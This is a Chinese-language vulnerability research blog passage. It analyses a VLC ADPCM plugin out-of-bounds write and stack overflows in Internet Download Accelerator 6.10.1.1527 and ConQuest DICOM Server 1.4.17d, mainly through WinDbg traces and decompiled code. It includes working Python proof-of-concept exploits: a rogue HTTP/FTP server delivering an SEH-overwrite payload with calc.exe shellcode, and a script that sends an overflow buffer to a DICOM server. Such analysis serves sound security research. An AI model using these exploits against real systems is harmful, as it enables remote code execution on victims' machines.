0:006> p
eax=16d2fdc8 ebx=00000000 ecx=00000034 edx=00001284 esi=00000000 edi=16d2fdc8
eip=6bdf3496 esp=16d2fd30 ebp=11b208c2 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
libadpcm_plugin+0x3496:
6bdf3496 89d3            mov     ebx,edx
0:006> p
eax=00000033 ebx=00001284 ecx=00000058 edx=00001284 esi=0e1f6e40 edi=16d2fdc8
eip=6bdf2501 esp=16d2fd30 ebp=11b208c2 iopl=0         nv up ei pl nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000217
libadpcm_plugin+0x2501:
6bdf2501 66891e          mov     word ptr [esi],bx        ds:0023:0e1f6e40=c0c0

那么现在这个漏洞的原因就很清晰了,从6bdf6390开始向前依次拷贝内容,每次拷贝的内容都会交给固定指针,这个指针里的值会进行叠加算术右移等操作,之后继续进行拷贝,而这个长度没有进行控制。

而每一轮拷贝,拷贝区长度都会加0x10。

0:006> p
eax=00000033 ebx=00001284 ecx=00000058 edx=00001284 esi=0e1f6e40 edi=16d2fdc8
eip=6bdf2501 esp=16d2fd30 ebp=11b208c2 iopl=0         nv up ei pl nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000217
libadpcm_plugin+0x2501:
6bdf2501 66891e          mov     word ptr [esi],bx        ds:0023:0e1f6e40=c0c0
0:006> g
Breakpoint 1 hit
eax=00000031 ebx=00001369 ecx=00000058 edx=00001369 esi=0e1f6e50 edi=16d2fdc8
eip=6bdf2501 esp=16d2fd30 ebp=11b208c3 iopl=0         nv up ei pl nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213
libadpcm_plugin+0x2501:
6bdf2501 66891e          mov     word ptr [esi],bx        ds:0023:0e1f6e50=c0c0

注意esi的值,接下来来看一下几轮拷贝之后esi最开始拷贝位置的值的前后变化。

0:006> dd esi
0e1f6e40  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0e1f6e50  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0e1f6e60  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0e1f6e70  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0e1f6e80  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0e1f6e90  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0e1f6ea0  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0:006> dd 0e1f6e40
0e1f6e40  c0c01284 c0c0c0c0 c0c012fc c0c0c0c0
0e1f6e50  c0c01369 c0c0c0c0 c0c013cc c0c0c0c0
0e1f6e60  c0c01426 c0c0c0c0 c0c01478 c0c0c0c0
0e1f6e70  c0c014c2 c0c0c0c0 c0c01506 c0c0c0c0
0e1f6e80  c0c01543 c0c0c0c0 c0c0157b c0c0c0c0
0e1f6e90  c0c015ae c0c0c0c0 c0c015dc c0c0c0c0
0e1f6ea0  c0c01606 c0c0c0c0 c0c0162c c0c0c0c0
0e1f6eb0  c0c0164e c0c0c0c0 c0c0166d c0c0c0c0

而拷贝区的内容则是这样

0:006> dd 6bdf6360
6bdf6360  00000151 00000173 00000198 000001c1
6bdf6370  000001ee 00000220 00000256 00000292
6bdf6380  000002d4 0000031c 0000036c 000003c3
6bdf6390  00000424 0000048e 00000502 00000583
6bdf63a0  00000610 000006ab 00000756 00000812
6bdf63b0  000008e0 000009c3 00000abd 00000bd0
6bdf63c0  00000cff 00000e4c 00000fba 0000114c

也就是说,每次拷贝4个字节,经过算法处理后,会在待拷贝区偏移8字节,长度还要乘以2,最后也就是说拷贝的长度,超过了申请buffer的长度,造成了越界写,引发了异常。

这个漏洞不能造成任意地址写,因此不能利用,是个拒绝服务漏洞。

Internet Download Accelerator 6.10.1.1527 远程代码执行漏洞

1 March 2019 at 16:00

作者: k0shl 转载请注明出处:https://whereisk0shl.top


漏洞说明


Internet Download Accelerator是一个下载工具,在处理http下载的时候,由于对于下载的路径长度没有进行有效的检查,导致调用一个叫做strlcopy函数的时候,由于拷贝导致栈溢出,后续再次引用某指针的时候,由于指针被覆盖,进入SEH异常处理函数,通过覆盖SEH指针,导致代码执行。下面进行详细分析。

软件下载:
https://www.exploit-db.com/apps/a1d0daafa9262927c63c37edd1214fe2-idasetup.exe

PoC:

import SocketServer
import threading


# IP to listen to, needed to construct PASV response so 0.0.0.0 is not gonna work.
ip = "192.168.1.100"
ipParts = ip.split(".")
PasvResp = "("+ ipParts[0]+ "," + ipParts[1]+ "," + ipParts[2] + "," + ipParts[3] + ",151,130)"
# Run Calc.exe
buf=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B"
"\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B"
"\x4B\x18\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31"
"\xC0\x99\x32\x17\x66\xC1\xCA\x01\xAE\x75\xF7\x66\x81\xFA"
"\x10\xF5\xE0\xE2\x75\xCF\x8B\x53\x24\x01\xEA\x0F\xB7\x14"
"\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68\x2E\x65\x78\x65"
"\x68\x63\x61\x6C\x63\x54\x87\x04\x24\x50\xFF\xD5\xCC")





class HTTPHandler(SocketServer.BaseRequestHandler):
    """
    The request handler class for our HTTP server.

    This is just so we don't have to provide a suspicious FTP link with long name.
    """

    def handle(self):
        # self.request is the TCP socket connected to the client
        self.data = self.request.recv(1024).strip()
        print "[*] Recieved HTTP Request"
        print "[*] Sending Redirction To FTP"
        # just send back the same data, but upper-cased
    # SEH Offset 336 - 1056 bytes for the payload - 0x10011b53 unzip32.dll ppr 0x0c
    payload = "ftp://192.168.1.100/"+ 'A' * 336 + "\xeb\x06\x90\x90" + "\x53\x1b\x01\x10" + buf + "B" * (1056 - len(buf))
    self.request.sendall("HTTP/1.1 302 Found\r\n" +
    "Host: Server\r\nConnection: close\r\nLocation: "+ 
    payload+
    "\r\nContent-type: text/html; charset=UTF-8\r\n\r\n")
    print "[*] Redirection Sent..."

class FTPHandler(SocketServer.BaseRequestHandler):
    """
    The request handler class for our FTP server.

    This will work normally and open a data connection with IDA.
    """

    def handle(self):
        # User Command
    self.request.sendall("220 Nasty FTP Server Ready\r\n")
    User = self.request.recv(1024).strip()
        print "[*] Recieved User Command: " + User
    self.request.sendall("331 User name okay, need password\r\n")   
    # PASS Command
        Pass = self.request.recv(1024).strip()
        print "[*] Recieved PASS Command: " + Pass
    self.request.sendall("230-Password accepted.\r\n230 User logged in.\r\n")
        # SYST Command
    Syst = self.request.recv(1024).strip()
        print "[*] Recieved SYST Command: " + Syst
    self.request.sendall("215 UNIX Type: L8\r\n")
    # TYPE Command
    Type = self.request.recv(1024).strip()
    print "[*] Recieved Type Command: " + Type
    self.request.sendall("200 Type set to I\r\n")
    # REST command
    Rest = self.request.recv(1024).strip()
    print "[*] Recieved Rest Command: " + Rest
    self.request.sendall("200 OK\r\n")
    # CWD command
    Cwd = self.request.recv(2048).strip()
    print "[*] Recieved CWD Command: " + Cwd
    self.request.sendall("250 CWD Command successful\r\n")
    
    # PASV command.
    Pasv = self.request.recv(1024).strip()
    print "[*] Recieved PASV Command: " + Pasv
    self.request.sendall("227 Entering Passive Mode " + PasvResp + "\r\n")

    #LIST   
    List = self.request.recv(1024).strip()
    print "[*] Recieved LIST Command: " + List
    self.request.sendall("150 Here comes the directory listing.\r\n226 Directory send ok.\r\n")
    
    


class FTPDataHandler(SocketServer.BaseRequestHandler):
    """
    The request handler class for our FTP Data connection.

    This will send useless response and close the connection to trigger the error.
    """

    def handle(self):
        # self.request is the TCP socket connected to the client
        print "[*] Recieved FTP-Data Request"
        print "[*] Sending Empty List"
        # just send back the same data, but upper-cased
    self.request.sendall("total 0\r\n\r\n")
    self.request.close()


if __name__ == "__main__":
    HOST, PORT = ip, 8000
    SocketServer.TCPServer.allow_reuse_address = True

    print "[*] Starting the HTTP Server."
    # Create the server, binding to localhost on port 8000
    HTTPServer = SocketServer.TCPServer((HOST, PORT), HTTPHandler)

    # Running the http server (using a thread so we can continue and listen for FTP and FTP-Data).
    HTTPThread = threading.Thread(target=HTTPServer.serve_forever)
    HTTPThread.daemon = True
    HTTPThread.start()
    
    print "[*] Starting the FTP Server."
    # Running the FTP server.
    FTPServer = SocketServer.TCPServer((HOST, 21), FTPHandler)

    # Running the FTP server thread.
    FTPThread = threading.Thread(target=FTPServer.serve_forever)
    FTPThread.daemon = True
    FTPThread.start()

    print "[*] Opening the data connection."
    # Opening the FTP data connection - DON'T CHANGE THE PORT.
    FTPData = SocketServer.TCPServer((HOST, 38786), FTPHandler)

    # Running the FTP Data connection Thread.
    DataThread = threading.Thread(target=FTPData.serve_forever)
    DataThread.daemon = True
    DataThread.start()

    print "[*] Listening for FTP Data."
    # Making the main thread wait.
    print "[*] To exit the script please press any key at any time."
    raw_input()

漏洞复现


首先,运行PoC,会开启一个web端口监听,之后用IDA输入http的路径,会自动开始下载异常网络路径的PoC文件,引发崩溃。

(a48.a34): Access violation - code c0000005 (!!! second chance !!!)
eax=06eb4141 ebx=06eb4141 ecx=00000000 edx=06eb4141 esi=0012fb50 edi=0012fe6c
eip=004055b0 esp=0012f990 ebp=0012fb98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210206
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\IDA\ida.exe - 
ida+0x55b0:
004055b0 8b40fc          mov     eax,dword ptr [eax-4] ds:0023:06eb413d=????????

回溯堆栈调用。

0:000> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
0012fb98 41414141 41414141 06eb4141 1b539090 ida+0x55b0
0012fb9c 41414141 06eb4141 1b539090 f6311001 0x41414141

既然覆盖到了SEH,那么回溯的情况都已不可见,在分析的时候,就从recv函数入手,在接收到数据时中断。


漏洞分析


首先在recv下断点,会多次命中,直接gu执行到返回,查看接收的数据,保存在esi指针中。

0:000> g
Breakpoint 0 hit
eax=00000520 ebx=0000003f ecx=00000408 edx=004398d0 esi=01a41b18 edi=019b5c58
eip=712017a8 esp=0012fccc ebp=0012fd28 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
wsock32!recv:
712017a8 8bff            mov     edi,edi
0:000> gu
eax=0000003f ebx=0000003f ecx=04024ec8 edx=775a70f4 esi=01a41b18 edi=019b5c58
eip=004a3b74 esp=0012fce0 ebp=0012fd28 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
ida+0xa3b74:
004a3b74 8945f8          mov     dword ptr [ebp-8],eax ss:0023:0012fd20=00000000
0:000> dc esi
01a41b18  20303531 65726548 6d6f6320 74207365  150 Here comes t
01a41b28  64206568 63657269 79726f74 73696c20  he directory lis
01a41b38  676e6974 320a0d2e 44203632 63657269  ting...226 Direc
01a41b48  79726f74 6e657320 6b6f2064 000a0d2e  tory send ok....

确实接收到的内容是我们构造PoC返回的内容,接下来跟踪过程中,会发现执行到地址是4a042a地址位置的时候,会进行一处call调用,这个调用会多次命中。

0:000> p
eax=00000000 ebx=7ffd7000 ecx=0012ff70 edx=0012ff54 esi=00000000 edi=00000000
eip=004a0427 esp=0012ff48 ebp=0012ff70 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
ida+0xa0427:
004a0427 8b45fc          mov     eax,dword ptr [ebp-4] ss:0023:0012ff6c=01a30d00
0:000> p
eax=01a30d00 ebx=7ffd7000 ecx=0012ff70 edx=0012ff54 esi=00000000 edi=00000000
eip=004a042a esp=0012ff48 ebp=0012ff70 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
ida+0xa042a:
004a042a e8d1fdffff      call    ida+0xa0200 (004a0200)

其中要关注一个寄存器地址,也就是ecx,ecx存放的是一个栈地址,在最后一次执行到004a042a后,步过会到达漏洞触发的位置。

观察漏洞触发时的0012ff70这个地址空间,发现这个空间已经被覆盖成畸形字符串了,也就是栈空间被覆盖了,这时候可以通过对这个地址下内存写入断点来快速定位到漏洞发生覆盖的位置。

0:000> g
Breakpoint 2 hit
eax=0012fa00 ebx=00000582 ecx=00000010 edx=0012fa4c esi=02bd4148 edi=0012ff8c
eip=0040df15 esp=0012f984 ebp=0012fb98 iopl=0         nv up ei pl nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210207
ida+0xdf15:
0040df15 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:000> dd 12ff70
0012ff70  42424242 42424242 42424242 42424242
0012ff80  42424242 42424242 42424242 7653ed6c
0012ff90  7ffdf000 0012ffd4 775c37eb 7ffdf000
0012ffa0  74f69796 00000000 00000000 7ffdf000
0012ffb0  00000000 00000000 00000000 0012ffa0
0012ffc0  00000000 ffffffff 7757e115 03bf7a3a
0012ffd0  00000000 0012ffec 775c37be 00807238
0012ffe0  7ffdf000 00000000 00000000 00000000

这是一处典型的memcpy操作,这次拷贝会向栈地址拷贝数据,直接跟踪到当前的函数。

int __fastcall Sysutils::StrLCopy(int result, const char *a2, unsigned int a3)
{
  const char *v3; // edi@1
  unsigned int v4; // ebx@1
  char v5; // zf@1
  unsigned int v6; // ebx@6
  char *v7; // edi@6
  int v8; // ecx@6

  v3 = a2;
  v4 = a3;
  v5 = a3 == 0;
  if ( a3 )
  {
    do
    {
      if ( !a3 )
        break;
      v5 = *v3++ == 0;
      --a3;
    }
    while ( !v5 );
    if ( v5 )
      ++a3;
  }
  v6 = v4 - a3;
  qmemcpy((void *)result, a2, 4 * (v6 >> 2));
  v7 = (char *)(result + 4 * (v6 >> 2));
  v8 = v6 & 3;
  qmemcpy(v7, &a2[4 * (v6 >> 2)], v8);
  v7[v8] = 0;
  return result;
}

在这一次strcopy中,会将路径进行拷贝,而没有进行长度控制,拷贝结束后,栈地址空间会被覆盖,回到外层函数。

int __fastcall Sysutils::StrPCopy(char *a1, const int System::AnsiString)
{
  char *v2; // esi@1
  int v3; // eax@1
  const char *v4; // eax@1
  unsigned int v5; // ST00_4@1

  v2 = a1;
  v3 = unknown_libname_76(System::AnsiString);
  v4 = (const char *)System::__linkproc__ LStrToPChar(v3);
  return Sysutils::StrLCopy((int)v2, v4, v5);
}

这次strpcopy结束之后,会再次返回,在这个函数中的strlcopy已经将进行字符串拷贝,从而导致栈空间被覆盖,关键指针被覆盖。

0:000> p
eax=0000fde8 ebx=00000000 ecx=00000000 edx=0012fa4c esi=0014036a edi=0012fe6c
eip=007b463d esp=0012f9a4 ebp=0012fb98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
ida!EXECryptor_halt+0x163a39:
007b463d 8945b4          mov     dword ptr [ebp-4Ch],eax ss:0023:0012fb4c=41414141
0:000> p
eax=0000fde8 ebx=00000000 ecx=00000000 edx=0012fa4c esi=0014036a edi=0012fe6c
eip=007b4640 esp=0012f9a4 ebp=0012fb98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
ida!EXECryptor_halt+0x163a3c:
007b4640 8d45b8          lea     eax,[ebp-48h]
0:000> p
eax=0012fb50 ebx=00000000 ecx=00000000 edx=0012fa4c esi=0014036a edi=0012fe6c
eip=007b4643 esp=0012f9a4 ebp=0012fb98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
ida!EXECryptor_halt+0x163a3f:
007b4643 8b550c          mov     edx,dword ptr [ebp+0Ch] ss:0023:0012fba4=06eb4141
0:000> p
eax=0012fb50 ebx=00000000 ecx=00000000 edx=06eb4141 esi=0014036a edi=0012fe6c
eip=007b4646 esp=0012f9a4 ebp=0012fb98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
ida!EXECryptor_halt+0x163a42:
007b4646 e8dd98c5ff      call    ida+0xdf28 (0040df28)
0:000> t
eax=0012fb50 ebx=00000000 ecx=00000000 edx=06eb4141 esi=0014036a edi=0012fe6c
eip=0040df28 esp=0012f9a0 ebp=0012fb98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
ida+0xdf28:
0040df28 53              push    ebx
0:000> p
eax=0012fb50 ebx=00000000 ecx=00000000 edx=06eb4141 esi=0014036a edi=0012fe6c
eip=0040df29 esp=0012f99c ebp=0012fb98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
ida+0xdf29:
0040df29 56              push    esi
0:000> p
eax=0012fb50 ebx=00000000 ecx=00000000 edx=06eb4141 esi=0014036a edi=0012fe6c
eip=0040df2a esp=0012f998 ebp=0012fb98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
ida+0xdf2a:
0040df2a 51              push    ecx
0:000> p
eax=0012fb50 ebx=00000000 ecx=00000000 edx=06eb4141 esi=0014036a edi=0012fe6c
eip=0040df2b esp=0012f994 ebp=0012fb98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
ida+0xdf2b:
0040df2b 8bda            mov     ebx,edx
0:000> p
eax=0012fb50 ebx=06eb4141 ecx=00000000 edx=06eb4141 esi=0014036a edi=0012fe6c
eip=0040df2d esp=0012f994 ebp=0012fb98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
ida+0xdf2d:
0040df2d 8bf0            mov     esi,eax
0:000> p
eax=0012fb50 ebx=06eb4141 ecx=00000000 edx=06eb4141 esi=0012fb50 edi=0012fe6c
eip=0040df2f esp=0012f994 ebp=0012fb98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
ida+0xdf2f:
0040df2f 8bc3            mov     eax,ebx
0:000> p
eax=06eb4141 ebx=06eb4141 ecx=00000000 edx=06eb4141 esi=0012fb50 edi=0012fe6c
eip=0040df31 esp=0012f994 ebp=0012fb98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
ida+0xdf31:
0040df31 e87676ffff      call    ida+0x55ac (004055ac)
0:000> t
eax=06eb4141 ebx=06eb4141 ecx=00000000 edx=06eb4141 esi=0012fb50 edi=0012fe6c
eip=004055ac esp=0012f990 ebp=0012fb98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
ida+0x55ac:
004055ac 85c0            test    eax,eax
0:000> p
eax=06eb4141 ebx=06eb4141 ecx=00000000 edx=06eb4141 esi=0012fb50 edi=0012fe6c
eip=004055ae esp=0012f990 ebp=0012fb98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
ida+0x55ae:
004055ae 7403            je      ida+0x55b3 (004055b3)                   [br=0]
0:000> p
eax=06eb4141 ebx=06eb4141 ecx=00000000 edx=06eb4141 esi=0012fb50 edi=0012fe6c
eip=004055b0 esp=0012f990 ebp=0012fb98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
ida+0x55b0:
004055b0 8b40fc          mov     eax,dword ptr [eax-4] ds:0023:06eb413d=????????

指针赋值引用了异常指针地址,导致了异常发生,引发了SEH异常处理,这个处罚位置处于刚才两个函数返回后又一处引用位置。

bool __fastcall sub_7B45DC(HWND a1, unsigned __int8 a2, unsigned __int8 a3, int System::AnsiString, int a5, char a6)
{
  unsigned __int8 v6; // bl@1
  HWND v7; // esi@1
  struct _NOTIFYICONDATAA Data; // [sp+8h] [bp-1ECh]@1
  char v10; // [sp+A8h] [bp-14Ch]@1
  int v11; // [sp+1A8h] [bp-4Ch]@1
  char v12; // [sp+1ACh] [bp-48h]@1
  int v13; // [sp+1ECh] [bp-8h]@1
  unsigned __int8 v14; // [sp+1F3h] [bp-1h]@1

  v14 = a3;
  v6 = a2;
  v7 = a1;
  System::__linkproc__ FillChar(&Data, 488, 0);
  Data.cbSize = 488;
  Data.hWnd = v7;
  Data.uID = v6;
  Data.uFlags = 16;
  Sysutils::StrPCopy(&v10, System::AnsiString);
  v11 = 1000 * v14;
  Sysutils::StrPCopy(&v12, a5);
  v13 = (unsigned __int8)byte_8AB510[(unsigned __int8)a6];
  Data.uCallbackMessage = 1029;
  return (unsigned int)Shell_NotifyIconA(1u, &Data) >= 1;
}

最后可以通过覆盖SEH异常处理结构的指针位置,最后引发远程代码执行。

ConQuest DICOM Server 1.4.17d 远程代码执行漏洞

23 February 2019 at 16:00

作者:k0shl 转载请注明出处:https://whereisk0shl.top

这个漏洞比较有意思,首先这个漏洞的软件是一个医学领域的软件,用于医学成像,其次这个软件的协议是自己定义的协议规则,也就是说具体协议字段部分的解析都是自己实现的,因此需要对协议的内容进行一定程度的分析,我在当时分析这个漏洞的时候对协议的分析比较粗浅,如有疏漏望指出。


漏洞说明


DICOM是医疗领域的一个软件,主要用于放射医疗领域,类似于图像传输等等,它可以运行在Windows,Linux和MacOS上,三个平台都存在漏洞。

PoC:

import socket, sys
 
hello = ('\x01\x00\x00\x00\x80\x71\x00\x01\x00\x00\x4f\x52\x54\x48'
         '\x41\x4e\x43\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4a\x4f'
         '\x58\x59\x50\x4f\x58\x59\x21\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x10\x00\x00\x15\x31\x2e\x32\x2e\x38\x34'
         '\x30\x2e\x31\x30\x30\x30\x38\x2e\x33\x2e\x31\x2e\x31\x2e'
         '\x31\x20\x00\x80\x00')
 
# 33406 bytes
buffer  = '\x41' * 20957 # STACK OVERFLOW / SEH OVERWRITE
buffer += '\x42' * 8 # RCX = 4242424242424242
buffer += '\x43' * 8 # defiler ;]
buffer += '\x44\x44\x44\x44' # EAX = 44444444 / RAX = 0000000044444444
buffer += '\x45' * 12429
 
bye = ('\x50\x00\x00\x0c\x51\x00\x00\x04\x00\x00\x07\xde'
       '\x52\x00\x00\x00')
 
print 'Sending '+str(len(buffer))+' bytes of data!'
 
if len(sys.argv) < 3:
    print '\nUsage: ' +sys.argv[0]+ ' <target> <port>'
    print 'Example: ' +sys.argv[0]+ ' 172.19.0.214 5678\n'
    sys.exit(0)
  
host = sys.argv[1]
port = int(sys.argv[2])
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host, port))
s.settimeout(17)
s.send(hello+buffer+bye)
s.close

漏洞复现


它在运行的时候会创建一个Server,会开一个端口,在Windows上是5678端口,DICOM有自己的通信协议,协议目前没有找到格式标准,开头部分如下

.....q....ORTHANC         JOXYPOXY!...........................................1.2.840.10008.3.1.1.1 ...AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

在协议数据包里DATA部分包含畸形字符串的时候,DICOM会由于处理畸形字符串时,没有对数据长度进行有效控制,最后导致调用memcpy的时候将数据拷贝至栈地址空间,最后导致关键指针被覆盖引发异常指针引用,最后通过覆盖SEH结构导致代码执行,下面进行详细分析。

首先5678端口的进程是dgate.exe,windbg附加,发送PoC,程序崩溃。

0:002> g
(1db0.f6c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=00000af5 ecx=41414141 edx=da7854d8 esi=01812830 edi=019b7848
eip=0058b6a0 esp=019b6234 ebp=019b98c4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
*** WARNING: Unable to verify checksum for C:\Users\Administrator\Desktop\dicomserver1417d\dgate.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Users\Administrator\Desktop\dicomserver1417d\dgate.exe
dgate+0x18b6a0:
0058b6a0 8b4804          mov     ecx,dword ptr [eax+4] ds:0023:41414145=????????

kb回溯堆栈调用发现看不到之前的调用。

0:002> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
019b98c4 00000000 00000000 00000000 00000000 dgate+0x18b6a0

中断位置所处的函数挺复杂的,就从这个函数入手来看一下到底为什么发生漏洞。


漏洞分析


在程序入口下断点重新跟踪后,发现程序多次命中入口,对漏洞发生前的入口跟踪,发现eax=0x41的时候,离漏洞发生位置最近,而且0x41也是payload的一部分。

0:002> g
eax=00000041 ebx=00dfa820 ecx=012b7848 edx=00000001 esi=012b7848 edi=00dfa86c
eip=0058b570 esp=012b6244 ebp=00003eb7 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
dgate+0x18b570:
0058b570 53              push    ebx
0:002> g
eax=00000041 ebx=00dfa820 ecx=012b7848 edx=012b6278 esi=012b7848 edi=00dfa86c
eip=0058b570 esp=012b6244 ebp=00003eb7 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
dgate+0x18b570:
0058b570 53              push    ebx
0:002> dd ebx
00dfa820  41414141 00004141 41414141 41414141
00dfa830  41414141 41414141 41414141 41414141
00dfa840  41414141 41414141 41414141 41414141

在离漏洞发生最近的位置通过kb回溯,可以看到之前的函数调用。

0:002> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
012b6240 00591856 012b6278 00004141 012b7888 dgate+0x18b570
012b62c0 005932d3 012b7848 012b7888 012b7848 dgate+0x191856
012b62d8 00594706 012b7820 0065c808 00000000 dgate+0x1932d3
00000000 00000000 00000000 00000000 00000000 dgate+0x194706

在最外层函数下断点,发现在最外层call函数调用的时候,esp栈帧还是正常的栈帧情况,但是如果步过会到达漏洞发生的位置,也就是这个call函数只调用了一次,且esp的值会被覆盖成payload。

0:002> g
Breakpoint 0 hit
eax=00000001 ebx=00000000 ecx=019d7888 edx=00000001 esi=019d7848 edi=019d7888
eip=00594701 esp=019d62e0 ebp=019fff80 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
dgate+0x194701:
00594701 e8baeaffff      call    dgate+0x1931c0 (005931c0)
0:002> dd esp
019d62e0  019d7848 0065c808 00000000 00000001
019d62f0  0044fc9e 00000070 00000000 00000000
019d6300  0065c808 00000000 00000000 00000000

这样,就在esp当时所处的位置下一个条件断点,这样可以快速定位到是什么时候令栈帧被覆盖的。

0:002> t
eax=00000001 ebx=00000000 ecx=019d7888 edx=00000001 esi=019d7848 edi=019d7888
eip=005931c0 esp=019d62dc ebp=019fff80 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
dgate+0x1931c0:
005931c0 53              push    ebx
0:002> ba w1 019d62dc

下断点后直接执行,发现程序命中在一处rep movs指令,这个指令负责的是内存拷贝,多数都是memcpy。

0:002> g
Breakpoint 1 hit
eax=018f1170 ebx=00004141 ecx=00000373 edx=00000000 esi=018f03a4 edi=019d62f8
eip=005ba9ca esp=019d6218 ebp=019d6220 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010216
dgate+0x1ba9ca:
005ba9ca f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:002> dd 019d62dc
019d62dc  41414141 41414141 41414141 41414141
019d62ec  41414141 41414141 41414141 00000000

跟踪005ba9ca这处地址,发现这处地址处于一个memcpy的函数中,负责拷贝的就是payload,所以造成了esp被覆盖。

  if ( v12 + v3 > v13 )
  {
    memcpy(v5, (const void *)(v12 + v11[3]), v13 - v12);

而向外回溯的时候发现这个memcpy就处于漏洞发生的函数中,遮掩刚就在这里下一个断点,进行跟踪。

0:002> g
Breakpoint 1 hit
eax=00002800 ebx=00004141 ecx=0000006f edx=000041b0 esi=01842860 edi=019e7848
eip=0058b635 esp=019e6220 ebp=0187a828 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
dgate+0x18b635:
0058b635 2bc1            sub     eax,ecx
0:002> p
eax=00002791 ebx=00004141 ecx=0000006f edx=000041b0 esi=01842860 edi=019e7848
eip=0058b637 esp=019e6220 ebp=0187a828 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
dgate+0x18b637:
0058b637 50              push    eax
0:002> p
eax=00002791 ebx=00004141 ecx=0000006f edx=000041b0 esi=01842860 edi=019e7848
